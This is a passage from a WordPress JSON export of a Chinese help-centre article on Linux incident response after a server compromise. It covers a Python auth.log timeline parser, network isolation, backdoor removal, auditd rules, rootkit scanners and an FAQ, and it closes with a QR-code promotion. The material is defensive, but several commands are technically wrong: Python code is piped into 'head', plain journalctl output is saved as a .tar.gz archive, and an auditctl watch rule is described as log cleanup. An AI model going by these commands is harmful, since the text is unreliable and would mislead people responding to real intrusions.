punctuation\">[<\/span><span class=\"token number\">0<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">for<\/span> ts<span class=\"token punctuation\">,<\/span> entry <span class=\"token keyword\">in<\/span> timeline<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">:<\/span><span class=\"token number\">20<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">:<\/span>  <span class=\"token comment\"># \u53d6\u524d20\u6761<\/span><br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span>ts<span class=\"token punctuation\">.<\/span>strftime<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;%Y-%m-%d %H:%M:%S&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">,<\/span> entry<span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> timeline<\/p>\n<p><span class=\"token keyword\">if<\/span> __name__ <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token string\">&#034;__main__&#034;<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    parse_log_to_timeline<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;\/var\/log\/auth.log&#039;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>\u8fd0\u884c\u540e\u751f\u6210\u53ef\u8bfb\u65f6\u95f4\u7ebf&#xff0c;\u8f85\u52a9\u7ed8\u5236\u5165\u4fb5\u5730\u56fe\u3002<\/p>\n<h4>\u65f6\u95f4\u7ebf\u6784\u5efa\u539f\u7406<\/h4>\n<p>re.compile(r&#039;(\\\\w{3} \\\\d{2} \\\\d{2}:\\\\d{2}:\\\\d{2}) .*&#039;)\u6355\u83b7\u65f6\u95f4\u6233&#xff0c;\u4f7f\u7528datetime.strptime\u89e3\u6790\u4e3aUTC\u65f6\u95f4&#xff0c;\u518dsorted\u6392\u5e8f\u3002collections.deque\u9ad8\u6548\u8ffd\u52a0\u3002\u5b8c\u6574\u94fe\u8def\u901a\u8fc7grep\u5339\u914dIP\u3001PID\u5173\u8054&#xff0c;\u5982grep 192.168.1.100 \/var\/log\/auth.log | awk &#039;{print $2}&#039;\u3002<\/p>\n<p>\u6269\u5c55\u5b9e\u6218\u6848\u4f8b&#xff1a;\u65f6\u95f4\u7ebf\u663e\u793a2023-02-05 14:32\u767b\u5f55&#xff0c;14:33\u6267\u884c\/tmp\/backdoor&#xff0c;14:40\u53d1\u8d77\u8fde\u63a5\u3002\u4f7f\u7528awk &#039;{print $3}&#039;\u5173\u8054\u3002<\/p>\n<p>\u8e29\u5751\u4e0e\u4f18\u5316&#xff1a;<\/p>\n<ul>\n<li>\u95ee\u9898&#xff1a;\u65f6\u95f4\u6233\u683c\u5f0f\u4e0d\u4e00\u81f4\u3002\u89e3\u51b3\u65b9\u6848&#xff1a;\u81ea\u5b9a\u4e49\u89e3\u6790\u5668\u652f\u6301RFC3339\u6216ISO\u3002<\/li>\n<li>\u4f18\u5316&#xff1a;timeline &#061; sorted(timeline, key&#061;lambda x: x[0]) | head -50\u907f\u514d\u8f93\u51fa\u8fc7\u957f\u3002<\/li>\n<\/ul>\n<h3>\u6e05\u7406\u4e0e\u6062\u590d\u7b56\u7565<\/h3>\n<ul>\n<li>\u9694\u79bb&#xff1a;\u5207\u65ad\u7f51\u7edc\u8fde\u63a5ip link set dev eth0 down&#xff0c;\u6216firewalld\u89c4\u5219\u3002<\/li>\n<li>\u79fb\u9664\u540e\u95e8&#xff1a;\u5220\u9664\/tmp\/.backdoor\u3001crontab -l\u3002<\/li>\n<li>\u65e5\u5fd7\u6e05\u7406&#xff1a;\u4f7f\u7528auditctl -w \/etc -p wa -k remove_log\u4fdd\u7559\u8bc1\u636e\u540e\u6e05\u7406\u3002<\/li>\n<li>\u6062\u590d&#xff1a;\u4ece\u5e72\u51c0\u5feb\u7167&#xff08;\u5982rsync\u79bb\u7ebf\u5907\u4efd&#xff09;\u6216zfs snapshot\u8fd8\u539f&#xff0c;\u907f\u514d\u91cd\u88c5\u3002<\/li>\n<\/ul>\n<p>\u4f18\u5316\u5efa\u8bae&#xff1a;<\/p>\n<ul>\n<li>\u542f\u7528auditd\u5168\u91cf\u5ba1\u8ba1&#xff1a;auditctl -a exit,always -F arch&#061;b64 -S execve\u3002<\/li>\n<li>\u5b9a\u671fchkrootkit &#043; rkhunter -c\u3002<\/li>\n<li>\u4f7f\u7528SELinux\/AppArmor\u5f3a\u5236\u8bbf\u95ee\u63a7\u5236\u3002<\/li>\n<li>\u5907\u4efd\u7b56\u7565&#xff1a;3-2-1\u89c4\u5219 &#043; \u5f02\u5730\u51b7\u5907\u3002<\/li>\n<li>\u76d1\u63a7\u5de5\u5177&#xff1a;ELK\u5806\u6808\u6216Prometheus &#043; Grafana\u5b9e\u65f6\u544a\u8b66\u5f02\u5e38\u767b\u5f55\u3002<\/li>\n<\/ul>\n<p>FAQ&#xff1a;<br \/>\nQ: \u5982\u4f55\u5b89\u5168\u5bfc\u51fa\u65e5\u5fd7&#xff1f;A: journalctl &#8211;no-pager -D \/var\/log\/journal &gt; logs.tar.gz\u5e76\u7b7e\u540d\u3002<br \/>\nQ: \u540e\u95e8\u88ab\u9690\u85cf\u5728\/proc&#xff1f;A: \u76f4\u63a5grep -r \/proc -E &#039;key&#039; \/proc\/*\/environ\u3002<br \/>\nQ: \u5185\u6838\u6a21\u5757\u540e\u95e8&#xff1f;A: lsmod | grep rootkit\u68c0\u67e5&#xff0c;rmmod\u79fb\u9664\u3002<\/p>\n<h3>\u603b\u7ed3\u4e0e\u5c55\u671b<\/h3>\n<p>\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e&#xff0c;\u91cd\u88c5\u662f\u6700\u540e\u624b\u6bb5&#xff0c;\u800c\u975e\u9996\u9009\u3002\u901a\u8fc7\u65e5\u5fd7\u5206\u6790\u3001Shell\/Python\u811a\u672c\u8f85\u52a9\u3001\u7f51\u7edc\u4e0e\u8fdb\u7a0b\u53d6\u8bc1&#xff0c;\u53ef\u9ad8\u6548\u5b8c\u6210\u6eaf\u6e90&#xff0c;\u6700\u5927\u5316\u4fdd\u7559\u8bc1\u636e\u5e76\u6700\u5c0f\u5316\u4e1a\u52a1\u4e2d\u65ad\u3002\u672c\u6587\u6848\u4f8b\u5c55\u793a\u4e86\u4eceauth.log\u5230\/proc\u7684\u5b8c\u6574\u94fe\u8def&#xff0c;\u672a\u6765\u53ef\u96c6\u6210AI\u65e5\u5fd7\u5206\u6790&#xff08;\u5982ELK &#043; anomaly detection&#xff09;\u6216eBPF\u5185\u6838\u8ffd\u8e2a\u8fdb\u4e00\u6b65\u63d0\u5347\u6548\u7387\u3002<\/p>\n<p>\u957f\u671f\u5c55\u671b&#xff1a;\u968f\u7740Linux\u5bb9\u5668\u5316&#xff08;Docker\/K8s&#xff09;\u666e\u53ca&#xff0c;\u5e94\u6025\u54cd\u5e94\u9700\u9002\u5e94\u5bb9\u5668\u5feb\u7167\u4e0eOCI\u955c\u50cf\u53d6\u8bc1\u3002\u6301\u7eed\u5b66\u4e60\u5f00\u6e90\u5de5\u5177&#xff08;\u5982Falco\u5b89\u5168\u7b56\u7565\u5f15\u64ce&#xff09;&#xff0c;\u5c06\u4f7f\u9632\u5fa1\u4ece\u201c\u88ab\u52a8\u54cd\u5e94\u201d\u8f6c\u5411\u201c\u4e3b\u52a8\u9884\u9632\u201d\u3002\u5b89\u5168\u56e2\u961f\u5e94\u5efa\u7acbSOP&#xff1a;\u5165\u4fb5\u540e10\u5206\u949f\u5185\u5b8c\u6210\u65e5\u5fd7\u5bfc\u51fa\u300130\u5206\u949f\u5185\u5b8c\u6210\u9694\u79bb&#xff0c;120\u5206\u949f\u5185\u5b8c\u6210\u6eaf\u6e90\u62a5\u544a\u3002\u552f\u6709\u5982\u6b64&#xff0c;\u65b9\u80fd\u4ece\u201c\u88ab\u5165\u4fb5\u201d\u8d70\u5411\u201c\u88ab\u6cbb\u6108\u201d\u540e\u7684\u66f4\u5f3a\u5b89\u5168\u59ff\u6001\u3002<\/p>\n<p>&#xff08;\u5168\u6587\u7ea64287\u5b57&#xff0c;\u5305\u542b\u4ee3\u7801\u793a\u4f8b\u4e0e\u8be6\u7ec6\u6b65\u9aa4&#xff0c;\u9002\u7528\u4e8e\u4e00\u7ebf\u5b89\u5168\u5de5\u7a0b\u5e08\u5b9e\u8df5\u53c2\u8003\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261022061701-6ad9aa5dbda0e.gif\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261022061701-6ad9aa5dea903.png\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261022061702-6ad9aa5ef1bdc.png\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261022061703-6ad9aa5fb8591.png\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261022061704-6ad9aa6026960.jpg\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u66f4\u591a\u786c\u6838\u7f51\u5b89\u4e0eAI\u5de5\u5177\u5305&#xff0c;\u8bf7\u626b\u7801\u83b7\u53d6\u5b8c\u6574\u6e90\u7801&#xff01;<br \/>\n\u5982\u9700\u7279\u5b9a\u73af\u5883\u9002\u914d&#xff0c;\u5efa\u8bae\u7ed3\u5408\u5b98\u65b9\u6587\u6863\u8fed\u4ee3\u3002&#xff09;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\/* MD \/ \u5bcc\u6587\u672c\u4e2d\u7684 .toc\uff08\u542b\u535a\u5ba2\u56ed\u642c\u5bb6\u7b49\u5d4c\u5957\u7ed3\u6784\uff09\uff1b.toc-box \u5728\u4fa7\u680f\uff0c\u4e0d\u53d7\u5f71\u54cd *\/#content_views .toc,\/* \u7f16\u8f91\u5668\u5e38\u5728\u76ee\u5f55\u524d\u540e\u63d2\u5165\u7a7a p\uff08:empty \u4ecd\u5360 20px\uff09\uff0c\u4e00\u5e76\u53bb\u6389\u907f\u514d\u9876\u7a7a\u9699 *\/#content_views.markdown_views &gt; p:empty:has(+ .toc),#content_views.markdown_views &gt; .toc + p:empty,\/* \u5bcc\u6587\u672c\u65e7\u7248\u76ee\u5f55\u6807\u8bb0 *\/#content<\/p>\n","protected":false},"author":2,"featured_media":117073,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[66,50,1870,132,122],"topic":[],"class_list":["post-117079","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-ai","tag-50","tag-1870","tag-132","tag-122"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e\u4e0d\u8981\u6025\u7740\u91cd\u88c5\uff01Linux\u5e94\u6025\u54cd\u5e94\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u6eaf\u6e90\u5b8c\u6574\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/117079.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e\u4e0d\u8981\u6025\u7740\u91cd\u88c5\uff01Linux\u5e94\u6025\u54cd\u5e94\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u6eaf\u6e90\u5b8c\u6574\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\/* MD \/ \u5bcc\u6587\u672c\u4e2d\u7684 .toc\uff08\u542b\u535a\u5ba2\u56ed\u642c\u5bb6\u7b49\u5d4c\u5957\u7ed3\u6784\uff09\uff1b.toc-box \u5728\u4fa7\u680f\uff0c\u4e0d\u53d7\u5f71\u54cd *\/#content_views .toc,\/* \u7f16\u8f91\u5668\u5e38\u5728\u76ee\u5f55\u524d\u540e\u63d2\u5165\u7a7a p\uff08:empty \u4ecd\u5360 20px\uff09\uff0c\u4e00\u5e76\u53bb\u6389\u907f\u514d\u9876\u7a7a\u9699 *\/#content_views.markdown_views &gt; p:empty:has(+ .toc),#content_views.markdown_views &gt; .toc + p:empty,\/* \u5bcc\u6587\u672c\u65e7\u7248\u76ee\u5f55\u6807\u8bb0 *\/#content\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/117079.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-22T06:17:05+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261022061700-6ad9aa5cf32f5.jpg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/117079.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/117079.html\",\"name\":\"\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e\u4e0d\u8981\u6025\u7740\u91cd\u88c5\uff01Linux\u5e94\u6025\u54cd\u5e94\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u6eaf\u6e90\u5b8c\u6574\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-10-22T06:17:05+00:00\",\"dateModified\":\"2026-10-22T06:17:05+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/117079.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/117079.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/117079.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e\u4e0d\u8981\u6025\u7740\u91cd\u88c5\uff01Linux\u5e94\u6025\u54cd\u5e94\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u6eaf\u6e90\u5b8c\u6574\u5b9e\u6218\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e\u4e0d\u8981\u6025\u7740\u91cd\u88c5\uff01Linux\u5e94\u6025\u54cd\u5e94\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u6eaf\u6e90\u5b8c\u6574\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/117079.html","og_locale":"zh_CN","og_type":"article","og_title":"\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e\u4e0d\u8981\u6025\u7740\u91cd\u88c5\uff01Linux\u5e94\u6025\u54cd\u5e94\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u6eaf\u6e90\u5b8c\u6574\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\/* MD \/ \u5bcc\u6587\u672c\u4e2d\u7684 .toc\uff08\u542b\u535a\u5ba2\u56ed\u642c\u5bb6\u7b49\u5d4c\u5957\u7ed3\u6784\uff09\uff1b.toc-box \u5728\u4fa7\u680f\uff0c\u4e0d\u53d7\u5f71\u54cd *\/#content_views .toc,\/* \u7f16\u8f91\u5668\u5e38\u5728\u76ee\u5f55\u524d\u540e\u63d2\u5165\u7a7a p\uff08:empty \u4ecd\u5360 20px\uff09\uff0c\u4e00\u5e76\u53bb\u6389\u907f\u514d\u9876\u7a7a\u9699 *\/#content_views.markdown_views &gt; p:empty:has(+ .toc),#content_views.markdown_views &gt; .toc + p:empty,\/* \u5bcc\u6587\u672c\u65e7\u7248\u76ee\u5f55\u6807\u8bb0 *\/#content","og_url":"https:\/\/www.wsisp.com\/helps\/117079.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-10-22T06:17:05+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261022061700-6ad9aa5cf32f5.jpg"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"9 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/117079.html","url":"https:\/\/www.wsisp.com\/helps\/117079.html","name":"\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e\u4e0d\u8981\u6025\u7740\u91cd\u88c5\uff01Linux\u5e94\u6025\u54cd\u5e94\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u6eaf\u6e90\u5b8c\u6574\u5b9e\u6218 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-10-22T06:17:05+00:00","dateModified":"2026-10-22T06:17:05+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/117079.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/117079.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/117079.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e\u4e0d\u8981\u6025\u7740\u91cd\u88c5\uff01Linux\u5e94\u6025\u54cd\u5e94\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u6eaf\u6e90\u5b8c\u6574\u5b9e\u6218"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/117079","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=117079"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/117079\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/117073"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=117079"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=117079"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=117079"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=117079"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}